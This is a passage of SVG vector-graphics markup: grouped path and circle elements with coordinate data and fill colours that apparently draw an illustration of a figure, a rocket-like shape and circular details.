        <path id="Path_46" data-name="Path 46" d="M108.04,13.65c-.75.2-1.16-.91-.5-1.32l.05-.03c1.99-1.15,8.37-2.08,9.27-2.16,1.03-.09,2.05-.18,2.94-.29-2.5-1.03-6.4-3.59-9.14-3.65h0a.658.658,0,0,1-.37-1.22c.07-.04.14-.07.2-.1a4.415,4.415,0,0,1,1.81-.24c3.23.04,6.34,1.98,9.46,2.77a31.626,31.626,0,0,0,3.19.79,18,18,0,0,1,1.27-7.13.977.977,0,0,1,1.82.06v.03c.04,1.88-.41,2.6.46,6.48.26,1.14,1.72,2.36,2.2,3.42a30.755,30.755,0,0,1,1.28,4.77,13.755,13.755,0,0,0,4.16,6.62,4.448,4.448,0,0,1-3.12,2.24c-1.7-2.67-4.58-4.52-7.45-5.86a8.707,8.707,0,0,0-4.02-1.06,13.957,13.957,0,0,0-2.7.57c-2.51.61-6.47,1.67-6.47,1.67-1.03-.2-.39-1.05,0-1.15l3.47-1.65a5.981,5.981,0,0,0,3.09-1.72c-1.95-.92-6.05.73-9.8,1.41-1.23.22-1.06-.71-.72-1.2,1.06-1.16,9.27-2.47,10.9-3.04,0,0-8.2.17-11.29,1Z" fill="#fff"/>
        <path id="Path_47" data-name="Path 47" d="M133.03,25.16a.491.491,0,0,1-.41-.22c-1.4-2.2-3.77-4.05-7.25-5.68a8.151,8.151,0,0,0-3.79-1.02,9.233,9.233,0,0,0-1.94.38c-.22.06-.44.12-.67.17-2.48.61-6.42,1.65-6.46,1.67a.375.375,0,0,1-.21,0c-.83-.16-.94-.69-.95-.91a1.323,1.323,0,0,1,.85-1.17l3.44-1.63s.05-.02.08-.03A6.713,6.713,0,0,0,118,15.7a17.3,17.3,0,0,0-5.31.85c-1.14.29-2.31.58-3.46.79-.82.15-1.2-.14-1.37-.4a1.456,1.456,0,0,1,.16-1.54c.01-.02.03-.04.04-.06.63-.69,2.88-1.3,5.91-1.98a35.873,35.873,0,0,0-5.82.74,1.131,1.131,0,0,1-1.34-.67,1.2,1.2,0,0,1,.47-1.52l.06-.03c2.18-1.25,8.82-2.16,9.46-2.22.4-.04.8-.07,1.2-.11-.32-.16-.65-.33-.98-.5-2.14-1.09-4.58-2.33-6.39-2.38a1.138,1.138,0,0,1-.59-2.12,2.1,2.1,0,0,1,.26-.13,4.906,4.906,0,0,1,2-.28,17.94,17.94,0,0,1,6.16,1.6,28.871,28.871,0,0,0,3.42,1.18c.15.04.39.11.68.19.54.15,1.36.38,1.93.51a17.7,17.7,0,0,1,1.3-6.75,1.46,1.46,0,0,1,2.72.08.584.584,0,0,1,.04.18c0,.52-.02.95-.05,1.37a14.818,14.818,0,0,0,.49,5.01,5.4,5.4,0,0,0,1.13,1.8,8.327,8.327,0,0,1,1.05,1.52,14.829,14.829,0,0,1,.92,3.19c.11.55.23,1.11.38,1.65a13.242,13.242,0,0,0,4.01,6.38.491.491,0,0,1,.15.47c-.21.91-1.78,2.25-3.49,2.6-.03,0-.07.01-.1.01Zm-11.24-7.89a9.657,9.657,0,0,1,3.99,1.11c3.5,1.63,5.95,3.51,7.46,5.74a4.644,4.644,0,0,0,2.32-1.56,14.236,14.236,0,0,1-4.04-6.62c-.16-.57-.28-1.14-.39-1.7a13.612,13.612,0,0,0-.86-2.99,6.934,6.934,0,0,0-.92-1.32,6,6,0,0,1-1.31-2.19,16.083,16.083,0,0,1-.51-5.28c.02-.39.05-.77.04-1.21a.511.511,0,0,0-.44-.3.489.489,0,0,0-.47.3,17.618,17.618,0,0,0-1.23,6.96.479.479,0,0,1-.52.47,19.184,19.184,0,0,1-2.62-.63c-.27-.08-.51-.14-.65-.18a30.059,30.059,0,0,1-3.53-1.22,16.951,16.951,0,0,0-5.81-1.54,4.171,4.171,0,0,0-1.61.2,1.093,1.093,0,0,0-.15.08.145.145,0,0,0-.07.18.156.156,0,0,0,.18.13c2.06.05,4.6,1.34,6.84,2.48.92.47,1.78.91,2.51,1.21a.477.477,0,0,1,.29.51.468.468,0,0,1-.42.41c-.89.11-1.94.2-2.95.29-.92.08-7.19,1.01-9.07,2.1l-.04.02a.262.262,0,0,0-.08.32c.07.16.16.13.2.12h0c3.11-.84,11.07-1.01,11.41-1.02h0a.483.483,0,0,1,.15.94c-.56.19-1.75.45-3.25.77-2.53.54-6.74,1.44-7.43,2.11a.826.826,0,0,0-.14.45h.13a.931.931,0,0,0,.26-.03c1.12-.2,2.28-.5,3.4-.78,2.77-.7,5.17-1.3,6.69-.59a.467.467,0,0,1,.26.32.5.5,0,0,1-.08.41,6.528,6.528,0,0,1-3.31,1.89l-3.43,1.63s-.05.02-.08.03a.459.459,0,0,0-.17.17.169.169,0,0,1,.05.02c.67-.18,4.11-1.09,6.36-1.64.22-.05.43-.11.65-.17a10.1,10.1,0,0,1,2.15-.41h.26Z"/>
      </g>
      <g id="Group_38" data-name="Group 38">
        <path id="Path_48" data-name="Path 48" d="M186.7,110.77a9.5,9.5,0,0,1,3.53-.17c3.22.25,6.45.5,9.67.76,1.87.15,3.99.42,5.11,1.93a4.084,4.084,0,0,1,.49,3.6,8.58,8.58,0,0,1-5.4,5.13c-2.68.64-5.37-.92-7.55-2.6a47.225,47.225,0,0,1-4.92-4.35,4.564,4.564,0,0,1-1.3-1.91A3.255,3.255,0,0,1,186.7,110.77Z" fill="#d6efc1"/>
        <path id="Path_49" data-name="Path 49" d="M198.84,122.65c-2.55,0-4.93-1.57-6.59-2.85a47.091,47.091,0,0,1-4.97-4.4,4.973,4.973,0,0,1-1.42-2.12,3.694,3.694,0,0,1,.46-2.82.513.513,0,0,1,.23-.15,9.97,9.97,0,0,1,3.71-.19l9.67.76c1.99.16,4.23.46,5.46,2.12a4.588,4.588,0,0,1,.57,4.02,9.088,9.088,0,0,1-5.76,5.47,5.886,5.886,0,0,1-1.37.16Zm-11.83-11.46a2.923,2.923,0,0,0-.21,1.85,4.239,4.239,0,0,0,1.17,1.7,47.476,47.476,0,0,0,4.87,4.31c1.8,1.38,4.49,3.14,7.15,2.51a8.136,8.136,0,0,0,5.06-4.81,3.671,3.671,0,0,0-.42-3.17c-.99-1.34-2.97-1.6-4.76-1.74l-9.67-.76a9.658,9.658,0,0,0-3.18.1Z"/>
      </g>
      <g id="Group_39" data-name="Group 39">
        <path id="Path_50" data-name="Path 50" d="M161.87,112.11a222.887,222.887,0,0,0,9.24-46.43c-9-6.78-27.4-8.86-31.33-17.36-5.18-11.21-10.07-19.89-11.73-27.69,0,0,7.59-2.48,7.32-2.54,2.02,5.93,8.86,15.92,14.66,24.21,2.79,3.99,16.64,3.73,25.14,6.22,16.05,5.1,24.37,2.08,32.45,15.66,5.15,8.67,4.69,23.22,19.99,44.1a41.623,41.623,0,0,1-7.4,6.14q-3.915-5.355-7.84-10.7a63.436,63.436,0,0,1-5.45-8.33,62.288,62.288,0,0,1-3.77-10.02c-.97-3.1-1.94-6.2-3.24-9.57-4.16,14.56-6.16,30.92-14.81,42.92-8.03-1.64-16.51-3.49-23.22-6.61Z" fill="#fff"/>
        <path id="Path_51" data-name="Path 51" d="M185.09,119.2h-.1c-8.13-1.66-16.63-3.53-23.33-6.64a.483.483,0,0,1-.26-.58,222.922,222.922,0,0,0,9.2-46.06c-3.62-2.65-8.8-4.61-13.82-6.5-7.74-2.92-15.05-5.68-17.45-10.88-1.29-2.78-2.55-5.39-3.76-7.91-3.62-7.49-6.74-13.96-8-19.88a.49.49,0,0,1,.32-.56c2.49-.81,6.52-2.16,7.16-2.44a.509.509,0,0,1,.43-.11.5.5,0,0,1,.37.38c2,5.8,8.57,15.44,14.58,24.03,1.62,2.31,7.8,3.17,13.79,4a80.69,80.69,0,0,1,11.09,2.04,107.569,107.569,0,0,0,11.89,2.93c8.99,1.82,14.94,3.02,20.84,12.94,1.82,3.06,2.96,6.87,4.28,11.28,2.56,8.56,5.75,19.22,15.69,32.78a.473.473,0,0,1-.05.62,42.023,42.023,0,0,1-7.49,6.21.5.5,0,0,1-.65-.12l-7.84-10.7a63.764,63.764,0,0,1-5.49-8.39,63.294,63.294,0,0,1-3.8-10.1c-.82-2.63-1.67-5.33-2.72-8.17-.89,3.23-1.69,6.57-2.47,9.81-2.7,11.21-5.49,22.79-12.02,31.85a.474.474,0,0,1-.39.2Zm-22.64-7.35c6.46,2.92,14.6,4.74,22.43,6.34,6.29-8.87,9.03-20.25,11.68-31.26.9-3.73,1.83-7.59,2.88-11.26a.479.479,0,0,1,.91-.04c1.31,3.38,2.3,6.54,3.25,9.59a63.57,63.57,0,0,0,3.74,9.96,62.451,62.451,0,0,0,5.41,8.26l7.57,10.34a42.606,42.606,0,0,0,6.65-5.54c-9.85-13.55-13.16-24.63-15.59-32.74-1.3-4.35-2.43-8.11-4.18-11.06-5.68-9.56-11.46-10.72-20.2-12.49A107.443,107.443,0,0,1,175.02,49a80.417,80.417,0,0,0-10.94-2.01c-6.47-.9-12.59-1.74-14.44-4.4-5.9-8.43-12.34-17.88-14.55-23.84-.86.36-2.67.96-6.48,2.21,1.29,5.69,4.33,11.98,7.83,19.24,1.22,2.52,2.48,5.14,3.77,7.93,2.24,4.84,9.37,7.53,16.92,10.38,5.18,1.96,10.53,3.98,14.27,6.79a.5.5,0,0,1,.19.43,222.833,222.833,0,0,1-9.14,46.13Z"/>
      </g>
      <g id="Group_40" data-name="Group 40">
        <path id="Path_52" data-name="Path 52" d="M190.61,42.31a63.032,63.032,0,0,1-5.74,10.01,23.083,23.083,0,0,0,2.89,6.34A3.067,3.067,0,0,0,189.18,60a3,3,0,0,0,2.18-.37c1.71-.78,3.52-1.66,4.36-3.25a7.888,7.888,0,0,0,.66-2.25c.56-2.93,1.12-5.87,1.68-8.8-1.71-.84-3.41-1.69-5.12-2.53a3.081,3.081,0,0,0-2.35-.49Z" fill="#fff"/>
        <path id="Path_53" data-name="Path 53" d="M189.76,60.58a2.017,2.017,0,0,1-.72-.12,3.407,3.407,0,0,1-1.67-1.53,23.733,23.733,0,0,1-2.95-6.47.5.5,0,0,1,.07-.41,63.075,63.075,0,0,0,5.69-9.94.445.445,0,0,1,.27-.25,3.466,3.466,0,0,1,2.73.51l5.12,2.53a.49.49,0,0,1,.26.52l-1.69,8.8a8.393,8.393,0,0,1-.71,2.39c-.88,1.67-2.6,2.56-4.59,3.47A4.486,4.486,0,0,1,189.76,60.58Zm-4.36-8.17a22.425,22.425,0,0,0,2.77,5.99,2.564,2.564,0,0,0,1.17,1.14,2.645,2.645,0,0,0,1.83-.35c1.83-.84,3.4-1.64,4.14-3.04a7.871,7.871,0,0,0,.62-2.12l1.62-8.44-4.79-2.37a3.217,3.217,0,0,0-1.8-.51,65.538,65.538,0,0,1-5.55,9.7Z"/>
      </g>
      <g id="Group_41" data-name="Group 41">
        <path id="Path_54" data-name="Path 54" d="M153.9,157.29l-36.36-11.02L76.49,188.6l60.47-10.4Z" fill="#fff"/>
        <path id="Path_55" data-name="Path 55" d="M76.49,189.08a.493.493,0,0,1-.43-.26.471.471,0,0,1,.08-.56l41.05-42.33a.494.494,0,0,1,.49-.13l36.36,11.03a.509.509,0,0,1,.32.32.493.493,0,0,1-.09.45l-16.94,20.91a.482.482,0,0,1-.29.17L76.57,189.07h-.08Zm41.19-42.27L77.87,187.87l58.83-10.11,16.38-20.21-35.4-10.73Z"/>
      </g>
      <g id="Group_42" data-name="Group 42">
        <path id="Path_56" data-name="Path 56" d="M191.94,202.98l-3.8,37.81-54.86,21.62,32.84-51.83Z" fill="#fff"/>
        <path id="Path_57" data-name="Path 57" d="M133.28,262.89a.48.48,0,0,1-.37-.17.5.5,0,0,1-.04-.57l32.84-51.83a.454.454,0,0,1,.27-.2l25.82-7.6a.468.468,0,0,1,.44.09.478.478,0,0,1,.17.42l-3.8,37.81a.483.483,0,0,1-.3.4l-54.86,21.62a.567.567,0,0,1-.18.03Zm33.15-51.9-31.95,50.42,53.21-20.97,3.7-36.8-24.96,7.35Z"/>
      </g>
      <g id="Group_43" data-name="Group 43">
        <path id="Path_58" data-name="Path 58" d="M145.64,217.13c-9.83,8.69-12.15,14.1-15.83,19.3-11.46-10.44-19.85-22.57-24.78-35.99,9.75-1.67,16.04-4.36,23.5-7.9C133.86,201.38,140.46,209.27,145.64,217.13Z" fill="#fff"/>
        <path id="Path_59" data-name="Path 59" d="M129.81,236.91a.422.422,0,0,1-.32-.13c-11.59-10.56-19.97-22.73-24.91-36.18a.483.483,0,0,1,.38-.64c9.86-1.69,16.16-4.44,23.38-7.86a.474.474,0,0,1,.62.19c3.1,5.15,6.65,9.99,10.08,14.67,2.5,3.41,4.86,6.63,7.01,9.9a.489.489,0,0,1-.08.63,66.228,66.228,0,0,0-13.46,15.77c-.77,1.19-1.49,2.31-2.29,3.44a.467.467,0,0,1-.34.2h-.05Zm-24.13-36.09a90.692,90.692,0,0,0,24.05,34.88c.67-.97,1.29-1.94,1.95-2.96A67.021,67.021,0,0,1,145,217.05c-2.08-3.14-4.36-6.24-6.76-9.51-3.36-4.59-6.83-9.32-9.9-14.37-6.98,3.3-13.18,5.96-22.66,7.65Z"/>
      </g>
      <g id="Group_44" data-name="Group 44">
        <path id="Path_60" data-name="Path 60" d="M126.49,198.27a56.139,56.139,0,0,0,10.76,15.64,59.818,59.818,0,0,0,14.28,10.82c1.42.77,1.33.13,2.82.8,17.64-4.55,89.26-50.72,109.75-65.34,42.72-30.48,54.76-86.86,54.76-86.86s-57.23-6.97-99.95,23.51c-21.38,15.25-87.32,70.1-97.22,85.83a61.393,61.393,0,0,0,4.81,15.61Z" fill="#fff"/>
        <path id="Path_61" data-name="Path 61" d="M154.34,226a.477.477,0,0,1-.2-.04,2.81,2.81,0,0,0-1.22-.31,3.323,3.323,0,0,1-1.63-.5,60.16,60.16,0,0,1-14.39-10.9,56.7,56.7,0,0,1-10.85-15.77,62.136,62.136,0,0,1-4.85-15.74.453.453,0,0,1,.07-.34c9.91-15.73,75.38-70.29,97.35-85.96,22.15-15.81,48.24-21.38,66.23-23.27a169.655,169.655,0,0,1,34.07-.33.479.479,0,0,1,.33.2.471.471,0,0,1,.08.38,169.142,169.142,0,0,1-11.39,32.1c-7.64,16.39-21.4,39.24-43.56,55.05-19.62,14-91.82,60.75-109.91,65.42a.5.5,0,0,1-.12.02Zm-32.16-43.24a60.785,60.785,0,0,0,4.74,15.31h0a55.553,55.553,0,0,0,10.67,15.51,59.182,59.182,0,0,0,14.16,10.73,2.285,2.285,0,0,0,1.22.38,3.725,3.725,0,0,1,1.4.33c17.49-4.68,88.62-50.37,109.44-65.23,21.98-15.68,35.64-38.37,43.23-54.65a171.866,171.866,0,0,0,11.22-31.4,171.921,171.921,0,0,0-33.34.39c-17.86,1.88-43.77,7.42-65.74,23.1-21.86,15.6-86.81,69.69-97,85.54Z"/>
      </g>
      <g id="Group_45" data-name="Group 45">
        <path id="Path_62" data-name="Path 62" d="M152.63,216.1a66.957,66.957,0,0,1-17.09-18.94,70.4,70.4,0,0,1-6.23-12.76,59.586,59.586,0,0,1-2.16-7.04c-.1-.41-.19-.83-.28-1.24a52.635,52.635,0,0,0-5.19,6.53,61.393,61.393,0,0,0,4.81,15.61,56.138,56.138,0,0,0,10.76,15.64,59.818,59.818,0,0,0,14.28,10.82c1.42.77,1.33.13,2.82.8a57.446,57.446,0,0,0,9.19-3.63,43.231,43.231,0,0,1-10.9-5.79Z" fill="#fff"/>
        <path id="Path_63" data-name="Path 63" d="M154.34,226a.477.477,0,0,1-.2-.04,2.81,2.81,0,0,0-1.22-.31,3.323,3.323,0,0,1-1.63-.5,60.16,60.16,0,0,1-14.39-10.9,56.7,56.7,0,0,1-10.85-15.77,62.136,62.136,0,0,1-4.85-15.74.453.453,0,0,1,.07-.34,53.746,53.746,0,0,1,5.24-6.6.461.461,0,0,1,.48-.14.491.491,0,0,1,.35.36c.09.41.18.82.28,1.23a60.626,60.626,0,0,0,2.14,6.98,70.182,70.182,0,0,0,6.18,12.67,66.073,66.073,0,0,0,16.96,18.8,43.133,43.133,0,0,0,10.78,5.73.5.5,0,0,1,.32.43.488.488,0,0,1-.28.46,57.811,57.811,0,0,1-9.27,3.66.5.5,0,0,1-.12.02Zm-32.16-43.24a60.785,60.785,0,0,0,4.74,15.31,55.553,55.553,0,0,0,10.67,15.51,59.182,59.182,0,0,0,14.16,10.73,2.285,2.285,0,0,0,1.22.38,3.725,3.725,0,0,1,1.4.33,54.748,54.748,0,0,0,7.9-3.07,44.34,44.34,0,0,1-9.93-5.45h0a67.157,67.157,0,0,1-17.22-19.07,70.535,70.535,0,0,1-6.27-12.85,60.085,60.085,0,0,1-2.18-7.09c-.03-.11-.05-.22-.08-.33a50.326,50.326,0,0,0-4.42,5.61Z"/>
      </g>
      <g id="Group_46" data-name="Group 46">
        <path id="Path_64" data-name="Path 64" d="M247.73,97.41c2.74,5.05,5.63,10.02,8.74,14.83a147.244,147.244,0,0,0,10.08,13.87,107.665,107.665,0,0,0,11.75,12.23q2.52,2.22,5.2,4.24c27.1-30.6,35.36-69.27,35.36-69.27s-39.79-4.84-77.79,11.22q3.225,6.5,6.66,12.88Z" fill="#fff"/>
        <path id="Path_65" data-name="Path 65" d="M283.5,143.07a.464.464,0,0,1-.29-.1c-1.85-1.4-3.61-2.84-5.23-4.26a108.97,108.97,0,0,1-11.8-12.28,146.716,146.716,0,0,1-10.11-13.91c-2.89-4.47-5.76-9.34-8.76-14.86h0c-2.09-3.85-4.21-7.95-6.67-12.89a.46.46,0,0,1-.02-.38.546.546,0,0,1,.26-.28c19.69-8.32,39.85-10.94,53.3-11.67a156.359,156.359,0,0,1,24.73.42.479.479,0,0,1,.33.2.471.471,0,0,1,.08.38,156.476,156.476,0,0,1-7.54,23.24c-4.99,12.35-13.88,30.39-27.93,46.25a.465.465,0,0,1-.36.16ZM248.16,97.19c2.99,5.51,5.84,10.35,8.72,14.8a143.588,143.588,0,0,0,10.05,13.82,107.875,107.875,0,0,0,11.69,12.17c1.49,1.32,3.11,2.65,4.82,3.95,13.78-15.67,22.53-33.43,27.45-45.62a161.859,161.859,0,0,0,7.38-22.58,161.676,161.676,0,0,0-24.05-.35c-13.26.72-33.08,3.29-52.48,11.4,2.36,4.73,4.4,8.68,6.43,12.4h0Z"/>
      </g>
      <g id="Group_47" data-name="Group 47">
        <path id="Path_66" data-name="Path 66" d="M283.51,128.55q-5.025-5.37-9.53-11.21c-3.02-3.91-5.87-7.94-8.51-12.12a146.135,146.135,0,0,1-7.24-12.78q-3-5.985-5.48-12.22c-3.88,1.23-7.79,2.66-11.69,4.3q3.225,6.5,6.66,12.88c2.74,5.05,5.63,10.02,8.74,14.83a147.244,147.244,0,0,0,10.08,13.87,107.663,107.663,0,0,0,11.75,12.23q2.52,2.22,5.2,4.24,3.33-3.765,6.29-7.67c-2.16-2.06-4.24-4.19-6.28-6.36Z" fill="#fff"/>
        <path id="Path_67" data-name="Path 67" d="M283.5,143.07a.464.464,0,0,1-.29-.1c-1.85-1.4-3.61-2.84-5.23-4.26a108.97,108.97,0,0,1-11.8-12.28,146.716,146.716,0,0,1-10.11-13.91c-2.89-4.47-5.76-9.34-8.76-14.86-2.09-3.85-4.21-7.95-6.67-12.89a.46.46,0,0,1-.02-.38.546.546,0,0,1,.26-.28c3.74-1.58,7.69-3.03,11.73-4.32a.477.477,0,0,1,.59.28c1.64,4.12,3.48,8.22,5.46,12.19,2.11,4.22,4.54,8.5,7.21,12.74,2.56,4.05,5.41,8.11,8.48,12.08,2.99,3.86,6.19,7.62,9.51,11.17h0c2.2,2.35,4.24,4.43,6.26,6.34a.478.478,0,0,1,.05.64c-2.06,2.71-4.19,5.3-6.31,7.69a.465.465,0,0,1-.36.16ZM241.73,84.78c2.36,4.73,4.4,8.68,6.43,12.4,2.99,5.51,5.84,10.35,8.72,14.8a143.588,143.588,0,0,0,10.05,13.82,107.875,107.875,0,0,0,11.69,12.17c1.49,1.32,3.11,2.65,4.82,3.95,1.92-2.18,3.83-4.52,5.71-6.96-1.92-1.85-3.89-3.84-5.98-6.08h0c-3.34-3.57-6.56-7.35-9.56-11.24-3.09-3.99-5.96-8.08-8.53-12.15-2.69-4.26-5.14-8.57-7.26-12.82-1.93-3.85-3.72-7.84-5.33-11.84-3.69,1.19-7.3,2.51-10.74,3.95Z"/>
      </g>
      <g id="Group_48" data-name="Group 48">
        <circle id="Ellipse_1" data-name="Ellipse 1" cx="19.15" cy="19.15" r="19.15" transform="translate(200.991 159.063) rotate(-80.18)" fill="#fff"/>
        <path id="Path_68" data-name="Path 68" d="M223.19,163.11a20.25,20.25,0,0,1-3.28-.27,19.616,19.616,0,1,1,3.28.27Zm-.08-38.3a18.7,18.7,0,1,0,3.12.26A19.318,19.318,0,0,0,223.11,124.81Z"/>
      </g>
      <g id="Group_49" data-name="Group 49">
        <path id="Path_69" data-name="Path 69" d="M215.19,132.33a13.7,13.7,0,1,1-3.2,19.11A13.7,13.7,0,0,1,215.19,132.33Z" fill="#fff"/>
        <path id="Path_70" data-name="Path 70" d="M223.18,157.67a14.582,14.582,0,0,1-2.37-.2,14.188,14.188,0,0,1-5.9-25.54h0a14.188,14.188,0,1,1,8.27,25.74Zm-7.71-24.95h0a13.221,13.221,0,1,0,18.44,3.08A13.142,13.142,0,0,0,215.47,132.72Z"/>
      </g>
      <g id="Group_50" data-name="Group 50">
        <circle id="Ellipse_2" data-name="Ellipse 2" cx="16.2" cy="16.2" r="16.2" transform="matrix(0.993, -0.116, 0.116, 0.993, 150.454, 165.75)" fill="#fff"/>
        <path id="Path_71" data-name="Path 71" d="M168.46,196.62a16.683,16.683,0,0,1-9.71-30.26h0a16.683,16.683,0,1,1,9.72,30.26Zm-.06-32.39a15.535,15.535,0,0,0-9.09,2.93h0a15.654,15.654,0,1,0,9.09-2.92Zm-9.37,2.53Z"/>
      </g>
      <g id="Group_51" data-name="Group 51">
        <path id="Path_72" data-name="Path 72" d="M161.71,170.51a11.592,11.592,0,1,1-2.7,16.17A11.593,11.593,0,0,1,161.71,170.51Z" fill="#fff"/>
        <path id="Path_73" data-name="Path 73" d="M168.47,192.03a12.613,12.613,0,0,1-2.02-.17,12.075,12.075,0,0,1-5.02-21.74h0a12.08,12.08,0,1,1,7.04,21.92Zm-.05-23.19a11.044,11.044,0,0,0-6.43,2.07h0a11.123,11.123,0,1,0,8.3-1.91,11.663,11.663,0,0,0-1.86-.15Zm-6.71,1.68Z"/>
      </g>
      <g id="Group_52" data-name="Group 52">
        <path id="Path_74" data-name="Path 74" d="M187.07,63.62a40.144,40.144,0,0,1-8.67,8.4,18.214,18.214,0,0,1-11.43,3.29c-4.6-.4-8.91-3.03-13.52-2.7-4.21.3-7.89,3.04-12.07,3.91q4.335,2.7,8.68,5.41a19.986,19.986,0,0,0,4.51,2.3,15.729,15.729,0,0,0,6.08.39,37.85,37.85,0,0,0,27.94-17.18,4.525,4.525,0,0,0,.91-2.45c-.02-.89-.73-1.81-2.43-1.36Z" fill="#fff"/>
        <path id="Path_75" data-name="Path 75" d="M158.34,85.22a13.431,13.431,0,0,1-3.91-.53,19.9,19.9,0,0,1-4.62-2.35l-8.68-5.41a.481.481,0,0,1,.16-.88,27.789,27.789,0,0,0,5.21-1.83,22.006,22.006,0,0,1,6.92-2.09,21.641,21.641,0,0,1,7.85,1.37,28.774,28.774,0,0,0,5.74,1.33,17.741,17.741,0,0,0,11.12-3.21,40.257,40.257,0,0,0,8.57-8.3.421.421,0,0,1,.25-.16,2.546,2.546,0,0,1,2.27.26,1.952,1.952,0,0,1,.76,1.55,4.942,4.942,0,0,1-.99,2.72,38.5,38.5,0,0,1-28.3,17.4c-.71.07-1.51.13-2.35.13Zm-15.73-8.5,7.71,4.8a19.145,19.145,0,0,0,4.39,2.24,15.273,15.273,0,0,0,5.89.37,37.512,37.512,0,0,0,27.58-16.95,4.167,4.167,0,0,0,.84-2.19,1.011,1.011,0,0,0-.38-.8,1.559,1.559,0,0,0-1.3-.14,40.477,40.477,0,0,1-8.68,8.37,18.7,18.7,0,0,1-11.74,3.37,29.124,29.124,0,0,1-5.94-1.37,20.78,20.78,0,0,0-7.5-1.33,20.79,20.79,0,0,0-6.61,2.01,36.414,36.414,0,0,1-4.27,1.61Z"/>
      </g>
      <g id="Group_53" data-name="Group 53">
        <path id="Path_76" data-name="Path 76" d="M201.08,171.15c-1.61,3.04-3.35,6.02-4.97,9.69,1.92,1.18,3.83,2.36,5.75,3.54a33.647,33.647,0,0,0,9,4.37c.28-2.21-1.01-4.3-2.45-6s-3.12-3.29-3.88-5.38c-.41-1.13-.53-2.34-.92-3.47a4.146,4.146,0,0,0-2.53-2.75Z" fill="#fff"/>
        <path id="Path_77" data-name="Path 77" d="M210.85,189.23a.352.352,0,0,1-.12-.02,33.894,33.894,0,0,1-9.13-4.43l-5.75-3.54a.48.48,0,0,1-.19-.6c1.21-2.75,2.49-5.1,3.73-7.38q.645-1.17,1.26-2.34a.477.477,0,0,1,.58-.23,4.572,4.572,0,0,1,2.82,3.05,15.178,15.178,0,0,1,.44,1.7,15.8,15.8,0,0,0,.47,1.77,14.115,14.115,0,0,0,2.91,4.22c.3.34.6.68.89,1.02,1.97,2.33,2.81,4.41,2.56,6.37a.478.478,0,0,1-.21.34.5.5,0,0,1-.27.08Zm-14.13-8.58,5.39,3.32a35.646,35.646,0,0,0,8.3,4.16c0-1.52-.78-3.19-2.37-5.07-.28-.34-.58-.67-.87-1a14.525,14.525,0,0,1-3.09-4.53,14.717,14.717,0,0,1-.51-1.89,15.589,15.589,0,0,0-.41-1.6,3.714,3.714,0,0,0-1.85-2.29c-.35.65-.7,1.31-1.06,1.96-1.17,2.15-2.38,4.38-3.52,6.93Z"/>
      </g>
      <g id="Group_54" data-name="Group 54">
        <path id="Path_78" data-name="Path 78" d="M161.89,111.89c-1.2,6.69-1.94,11.83,2.51,16.96,4.65,5.37,12.38,4.97,27.8,4.97.98,0,5.58.29,6.4.83,1.26.83.49,25.12-.21,39.54,2.95.57,5.9,1.13,8.67.75,12.02-52.77,8.4-48.63,4.49-52.88-5.09-5.53-19.58-7.18-23.14-7.6a73.222,73.222,0,0,0-8.99-.69c-6.29.03-13.61,1.33-17.52-1.89Z" fill="#d6efc1"/>
        <path id="Path_79" data-name="Path 79" d="M205.15,175.56a36.743,36.743,0,0,1-6.86-.89.486.486,0,0,1-.39-.5c.86-17.83,1.29-37.51.39-39.14-.75-.4-4.75-.72-6.09-.72h-2.98c-13.34.02-20.69.04-25.18-5.14-4.76-5.5-3.72-11.26-2.62-17.36a.488.488,0,0,1,.31-.37.471.471,0,0,1,.47.08c2.91,2.39,8.02,2.15,12.95,1.92,1.41-.07,2.87-.14,4.26-.14a73.446,73.446,0,0,1,9.05.7l.16.02c12.04,1.42,19.87,4.02,23.28,7.73.39.42.78.76,1.15,1.09,3.54,3.09,5.32,4.64-5.52,52.23a.479.479,0,0,1-.4.37,14.276,14.276,0,0,1-1.97.13Zm-6.27-1.75a27.109,27.109,0,0,0,7.78.71c10.63-46.71,8.79-48.31,5.75-50.96a14.262,14.262,0,0,1-1.23-1.16c-2.24-2.43-7.99-5.69-22.69-7.43l-.16-.02a71.808,71.808,0,0,0-8.93-.69c-1.37,0-2.82.07-4.22.14-4.79.23-9.73.46-12.96-1.67-1.17,6.68-1.47,11.17,2.53,15.8,4.19,4.85,10.97,4.83,24.45,4.81h2.98c.45,0,5.62.22,6.66.91.4.26,1.07.71.85,15.08-.11,6.78-.41,15.9-.82,24.47Zm-.61-38.8Z"/>
      </g>
      <g id="Group_60" data-name="Group 60">
        <g id="Group_55" data-name="Group 55">
          <path id="Path_80" data-name="Path 80" d="M182.06,15.2a106.821,106.821,0,0,0,1.22,12.2,29.165,29.165,0,0,0,2.15,7.29,4.172,4.172,0,0,0,1.98,2.24c.17-1,1.27-1.39,1.53-2.37.33-1.21-.35-2.37.5-3.38a18.107,18.107,0,0,0,3.51-6.39,8.818,8.818,0,0,0,.07-5.76,6.47,6.47,0,0,0-4.85-3.94c-1.77-.3-4.6-.87-6.11.11Z" fill="#d6efc1"/>
          <path id="Path_81" data-name="Path 81" d="M187.4,37.41a.451.451,0,0,1-.25-.07,4.69,4.69,0,0,1-2.17-2.46,30.239,30.239,0,0,1-2.19-7.41,108.018,108.018,0,0,1-1.22-12.25.526.526,0,0,1,.22-.43c1.59-1.03,4.35-.55,6.18-.23l.28.05a6.95,6.95,0,0,1,5.22,4.24,9.148,9.148,0,0,1-.06,6.07,18.493,18.493,0,0,1-3.6,6.56,2.088,2.088,0,0,0-.32,1.63,4.732,4.732,0,0,1-.09,1.57,3.178,3.178,0,0,1-.88,1.35,2.01,2.01,0,0,0-.64.98.5.5,0,0,1-.27.36.448.448,0,0,1-.2.04Zm-4.85-21.94a105.4,105.4,0,0,0,1.2,11.85,28.641,28.641,0,0,0,2.11,7.16,3.749,3.749,0,0,0,1.29,1.71,3.954,3.954,0,0,1,.66-.83,2.325,2.325,0,0,0,.65-.93,4.064,4.064,0,0,0,.06-1.26,2.936,2.936,0,0,1,.54-2.31,17.563,17.563,0,0,0,3.42-6.22,8.19,8.19,0,0,0,.08-5.44,5.983,5.983,0,0,0-4.48-3.64l-.28-.05c-1.58-.28-3.92-.68-5.25-.04Z"/>
        </g>
        <g id="Group_56" data-name="Group 56">
